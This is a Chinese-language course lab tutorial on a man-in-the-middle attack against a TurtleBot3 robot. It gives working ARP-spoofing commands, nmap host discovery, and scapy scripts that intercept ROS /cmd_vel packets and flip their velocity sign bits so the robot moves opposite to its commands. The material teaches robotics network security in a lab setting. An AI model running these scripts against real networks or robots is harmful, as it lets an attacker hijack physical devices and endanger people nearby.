惟愿言行合一,砥砺前行

0%

ROS|⑦ARP攻击Turtlebot3汉堡Burger并解析移动报文

中间人攻击

实验目的

  ARP欺骗可以作为中间人攻击的一个起手式。前一个实验我们完成了ARP欺骗,在本章实验中,我们将会在上一个实验的基础上,针对键盘控制过程的报文进行修改,使键盘控制异常。
  本章中将使用到arpspoof或者scapy来实现ARP欺骗功能,使用scapy对报文进行处理和转发。

整个实验流程分下面几步工作:

  1. 用攻击机向控制机与小车持续发送ARP欺骗数据包,占领ARP表;

  2. 分析键盘控制功能包;

  3. 关闭数据包转发;

  4. 使用scapy实现数据包转发,在转发前修改键盘控制时的TCP报文。

  5. 验证实验结果。

攻击机环境推荐:

Linux虚拟机:Ubuntu 20.04或18.04或kali都行;

被攻击机环境推荐:

Ubuntu20.04,安装好ROS。

注意:

  由于校园网的设备数量限制,真机连接校园网,多台虚拟机桥接模式下很可能无法上外网。虽然不影响arp攻击结果,只影响主机和网关通讯。但是仍然建议打开手机使用WiFi信号桥,或者使用流量,或者使用现成的路由器。

实验要求

  1. 结合之前几次实验的学习,能够完成ARP欺骗;
  2. 了解键盘控制功能包的写法,进而掌握ROS订阅和发布消息的过程;
  3. 成功影响键盘控制过程;

实验内容

了解键盘控制程序

找到该程序

知己知彼,百战不殆。欺骗键盘控制过程前,首先要了解它。
键盘控制程序的启动方式是:

1
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch

说明控制程序的功能包是turtlebot3_teleop。再运行以下指令找到功能包的位置:

1
rospack find turtlebot3_teleop

按照位置找到该文件夹:

在launch中找到turtlebot3_teleop_key.launch文件。
该文件仅仅是一个启动其他程序的文件,不展示程序执行过程。

其中type属性说明了涉及的程序:turtlebot3_teleop_key,在nodes文件夹中可以找到。

分析程序内容

先看主函数:

先初始化建立了名为turtlebot3_teleop结点,并且准备向/cmd_vel这个话题发布Twist类型的消息。并初始化角速度、线速度为0。
跳过中间的键盘控制过程,再往下看:

先初始化Twist类型,再分别给线速度、角速度赋值,并发布消息,即可完成对小车的控制。
那么,关键是Twist类型究竟是什么形式的。我们已知它存在于/cmd_vel中,那么运行以下指令查看/cmd_vel的详细信息:

1
rostopic info /cmd_vel

可见消息geometry_msgs/Twist
再查看消息的类型:

1
rosmsg show geometry_msgs/Twist

原来是定义了两个结构体,linearangular,其中分别包含三个float64类型的数据。已知float64类型是64bits,也就是8个字节。
接下来我们用wireshark在控制机上截获控制过程,看看消息是否如我们预期的那样。

分析报文内容

  打开carMove2.pcapng文件,它是在真实控制过程中截获的一段报文(我们也可以自己打开键盘控制,用wireshark嗅探与小车交互的网卡,得到这个过程)。
  其中具体控制过程很简单,仅仅是以0.01/0.02的线速度让小车前进,然后停止。
在最上面的过滤条件中输入“data”,过滤出所有包含数据的报文。
  观察到所有data字段都是52个字节。
  Twist类型的数据一共有6个基础数据,每个数据占8个字节,一共48个字节。
  说明还有4个其他的字节。

  一开始小车没有速度,data字段显示30。
  继续向下看,第85个报文中的Data字段发生了改变。这是拥有线速度时发送的报文。可见有8个字节发生了变化。它们的起始位置是第五个字节。
  说明起始的四个字节就是所有的额外的字节,剩下的字节很可能就是我们需要的数据内容。而且值得高兴的是,前四个字节的内容一成不变,虽然暂时不清楚含义,但并不影响我们伪造数据包。

  根据分析,只有linear.x会受键盘控制程序的控制。那么这个变化的字段就对应着linear.x。而紧接着的16个字节应是linear.ylinear.z
  用同样的原理,我们还能分析出角速度对应的报文内容。
  因此,数据段的构造如下:

1
2
3
4
5
6
7
0~3:未知
4~11:linear.x
12~19:linear.y
20~27:linear.z
28~35:angular.x
36~43:angular.y
44~51:angular.z

  接下来,我们就可以开始编写伪造的数据报文了。
  不过,还需要先做一个Arp欺骗的起手式。

ARP欺骗

使用ARP欺骗将小车和被攻击机的数据报文引流到攻击机中。IP地址如下:

主机名\参数名 IP地址
被攻击机A 192.168.1.105
小车B 192.168.1.110
攻击机M 192.168.1.103

注:攻击机、被攻击机、小车之间需要能够相互ping通。
注:IP地址和mac地址可通过ifconifg -a查看
注:如果不知道被攻击和小车的mac地址,也不方便去小车上运行ifconfig
可通过nmap -sP 192.168.1.0/24【将当前ip地址最后一位改为0,再加子网掩码】获取存活主机。
猜测目标,nmap -sT扫描它,得到对应的mac地址。
如果对方用虚拟机进行控制,arp欺骗时需要填写对方虚拟机的ip地址。
虚拟机和主机的mac地址是一致的,通过这个可以判断是否是该主机对应的虚拟机。

方式一:使用arpspoof

Arpspoof是dsniff中的一个组件,因此使用它之前需要下载dsniff:

1
sudo apt install dsniff

攻击过程:

1
2
sudo arpspoof -t 192.168.1.105 192.168.1.110 #欺骗被攻击机
sudo arpspoof -t 192.168.1.110 192.168.1.105 #欺骗小车

查看是否攻击成功,在被攻击机上运行:

1
arp #在被攻击机上运行

如果看到了192.168.1.110对应的MAC地址,变成了攻击机的MAC地址,说明攻击成功。

方式二:使用Scapy

如果不想使用arpspoof,也可以运行scapy脚本完成这一过程。
MAC_M填写攻击机的MAC地址。

arp_cheat.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python
from scapy.all import *
from time import *

IP_A = "192.168.1.105"

IP_B = "192.168.1.110"

MAC_M = "02:42:c0:a8:3c:03"

print("SENDING SPOOFED ARP REQUEST......")

ether = Ether()
ether.dst = "ff:ff:ff:ff:ff:ff"
ether.src = "02:42:c0:a8:3c:03"

arp = ARP()
arp.psrc = IP_B
arp.hwsrc = MAC_M
arp.pdst = IP_A
arp.op = 1
frame1 = ether/arp
arp2 = ARP()
arp2.psrc = IP_A
arp2.hwsrc = MAC_M
arp2.pdst = IP_B
arp2.op = 1
frame2 = ether/arp2
while 1:
sendp(frame1)
sendp(frame2)
sleep(5)

伪造报文

编写ip转发的程序

首先关闭虚拟机中自带的ip转发:

1
sudo sysctl net.ipv4.ip_forward=0

redirect.py:
注:第2~6行请填入自己的攻击和被攻击对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from scapy.all import *
IP_A="192.168.1.105"
IP_B="192.168.1.110"
MAC_A=''
MAC_B=''
MAC_M='02:42:c0:a8:3c:03'
def spoof_pkt(pkt):
try:
if(pkt.src==MAC_M):
return
pkt.show()
if(pkt[IP].src==IP_A and pkt[IP].dst==IP_B):
pkt.src=MAC_M
pkt.dst=MAC_B
elif(pkt[IP].src==IP_B and pkt[IP].dst==IP_A):
pkt.src=MAC_M
pkt.dst=MAC_A
del(pkt.chksum)
del(pkt[TCP].chksum)
sendp(pkt)
except Exception as e:
sendp(pkt)

f= "host "+IP_A+" and host "+IP_B
pkt = sniff(filter=f,iface='ens33', prn=spoof_pkt)

  redirect.py可视为最基本的转发过程。
  第25行的sniff是嗅探数据包,其中参数filter为过滤条件,iface是嗅探的网卡(不设置时默认嗅探所有网卡的数据包),prn是回调函数。
  通过设置过滤条件"host "+IP_A+" and host "+IP_B,只嗅探我们用arp欺骗阻断的通信双方,以免影响本机网卡上其他的通信过程。
  第7到22行的回调函数解释:如果该数据包是从攻击机发出,说明该报文是由攻击机伪造的,不需要做其他的额外处理。否则做相应的转发处理。
  第11行用于输出当前嗅探到的报文的内容。
  第13/14行和第16/17行的目的:如果报文由A发给B,由于ARP欺骗的存在,此时的报文的目的MAC地址是M的。所以要将MAC地址修改成正确的MAC地址,再进行报文发送。
  第21/22行做异常处理,当try对应的程序段中出现了异常(比如pkt没有IP层时pkt[IP]出现访问异常)时,不中止程序,而是直接将pkt报文发送出去。
  注:异常处理能减少许多的条件判断

  接下来我们完善程序,修改A发送给B的数据段。
  目的是将控制者的操作反向。其他修改方式可以得到其他的攻击效果。
  基本过程是把数据中的linearXargularZ的符号位取反。

完整程序如下:
  
datacheat.py:
注:第3~7行请填入自己的攻击和被攻击对象
注:由于只修改A到B的报文,注意IP_AMAC_A填写控制机,IP_BMAC_B填写小车

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from scapy.all import *
import numpy as np
IP_A="192.168.1.105"
IP_B="192.168.1.110"
MAC_A='00:0c:29:ae:75:24'
MAC_B='B8:27:EB:47:46:A6'
MAC_M='00:0c:29:fb:4f:37'
linearX, linearY, linearZ, argularX, argularY, argularZ=0.01,0.0,0.0,0.0,0.0,0.1
test=b'\x30\x00\x00\x00'+struct.pack('dddddd',linearX,linearY,linearZ,argularX,argularY,argularZ)
def spoof_pkt(pkt):
try:
if(pkt.src==MAC_M):
return
if(pkt[IP].src==IP_A and pkt[IP].dst==IP_B):
pkt.src=MAC_M
pkt.dst=MAC_B
Bytes = pkt[TCP].load
if(Bytes[0:4]==b'\x30\x00\x00\x00'):
pkt.show()
i=len(Bytes)
temp=bytearray(Bytes)
temp[11]=(int(Bytes[11])^(8*16))
temp[51]=(int(Bytes[51])^(8*16))
Bytes=bytes(temp)
pkt[TCP].load=Bytes
pkt.show()
elif(pkt[IP].src==IP_B and pkt[IP].dst==IP_A):
pkt.src=MAC_M
pkt.dst=MAC_A
del(pkt.chksum)
del(pkt[TCP].chksum)
pkt.show()
sendp(pkt)
except Exception as e:
print("[-] Error = "+str(e))
if(pkt.type!=2054 and str(e)!="load"):
pkt.show()
try:
sendp(pkt)
except Exception as e2:
pass

f= "host "+IP_A+" and host "+IP_B+" and tcp"
pkt = sniff(filter=f,iface='eth0', prn=spoof_pkt)

正式开始攻击

  如果不知道攻击机和小车的ip和mac地址,可以先做主机发现。在[ARP欺骗](## ARP欺骗)的注中有提到。
  先建立被攻击机和小车的远程连接。
  再着手攻击,在被攻击机上打开ip转发,ARP欺骗两个机器,运行数据包篡改程序,关闭ip转发。
  之后,验证攻击效果。在被攻击机上试着操控小车,看看小车是不是不听使唤了。

建立远程连接

在小车上:

1
2
roscore #2
roslaunch turtlebot3_bringup turtlebot3_robot.launch #3

在被攻击机上:

1
2
roscore #1
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch #4

确保能正常键盘控制即可。

打开/关闭ip转发

1
2
sudo sysctl net.ipv4.ip_forward=1
sudo sysctl net.ipv4.ip_forward=0

arp欺骗见[ARP欺骗](## ARP欺骗)。

1
sudo python3 arp-cheat.py

效果如下图所示:

数据篡改

1
sudo python3 datacheat.py

效果如下图所示:左侧wireshark显示通信和转发正常,右侧是输出的一些提示信息。

验证攻击效果

  关闭ip转发并建立arp欺骗时,被攻击机无法控制小车。
  打开ip转发时,可以控制小车。
  运行数据包篡改程序后,再用被攻击机控制小车,小车一开始一到两秒不会受到攻击机的控制,篡改转发稳定之后,攻击机的一切指令将会反向作用在小车上。
  比如本应朝前,变成后退。左转变成右转。

作 业

  1. 制作其他的攻击效果。